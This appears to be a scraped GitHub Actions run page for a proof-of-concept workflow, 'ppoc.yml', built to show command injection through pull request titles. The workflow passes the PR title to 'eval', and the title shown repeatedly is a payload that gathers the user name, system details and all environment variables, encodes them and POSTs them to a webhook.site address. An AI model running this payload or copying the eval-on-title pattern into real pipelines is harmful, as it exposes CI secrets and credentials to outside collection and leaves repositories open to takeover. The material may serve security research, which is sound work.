Skip to content
.github/workflows/ppoc.yml

$(bash -c "{ echo -n '$(whoami; uname -a; env)' | base64 | xargs -I {} curl -X POST https://webhook.site/ab12cd34-5678-9101-efgh-ijklmnopqrst -d {} }") #1

Sign in to view logs

$(bash -c "{ echo -n '$(whoami; uname -a; env)' | base64 | xargs -I {} curl -X POST https://webhook.site/ab12cd34-5678-9101-efgh-ijklmnopqrst -d {} }")

$(bash -c "{ echo -n '$(whoami; uname -a; env)' | base64 | xargs -I {} curl -X POST https://webhook.site/ab12cd34-5678-9101-efgh-ijklmnopqrst -d {} }") #1

Workflow file for this run

.github/workflows/ppoc.yml at a9516a4
on:
pull_request:
types: [opened, edited]
jobs:
exploit-via-pr-title:
runs-on: ubuntu-latest
steps:
- name: Run PR Title as Command
env:
PAYLOAD: ${{ github.event.pull_request.title }}
run: |
echo "[+] Running injected command from PR title..."
eval "$PAYLOAD"